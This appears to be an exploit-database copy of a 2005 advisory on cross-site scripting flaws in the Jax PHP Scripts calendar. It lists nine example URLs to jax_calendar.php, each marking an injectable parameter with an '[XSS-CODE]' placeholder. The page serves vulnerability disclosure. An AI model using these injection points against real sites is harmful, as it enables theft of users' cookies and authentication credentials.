Multiple Cross-Site Scripting Vulnerabilities in Jax PHP Scripts

vendor:

PHP Scripts

by:

SecurityFocus

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: PHP Scripts

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

Multiple Cross-Site Scripting Vulnerabilities in Jax PHP Scripts

Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities due to a failure in the applications to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site, which may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Mitigation:

Input validation and output encoding should be used to prevent cross-site scripting attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/14481/info
      
Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input.
      
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/calendar/jax_calendar.php?Y=2005[XSS-CODE]&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8[XSS-CODE]&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2[XSS-CODE]&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+KF6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0[XSS-CODE]&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+KF6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish[XSS-CODE]&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0[XSS-CODE]&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30[XSS-CODE]&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00[XSS-CODE]&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld
http://www.example.com/calendar/jax_calendar.php?Y=2005&m=8&d=2&do=show_event&key=db6165c8fd09437c00badaf419eb0db5&cal_id=0&language=spanish&gmt_ofs=0&view=d30&evt_date=29.07.2005+10%3A00+-%3Cbr%3E09.10.2005+18%3A00&evt_title=Karlsruhe+-+Ausstellung%3A+K%F6rper+im+elektromagnetischen+Feld[XSS-CODE]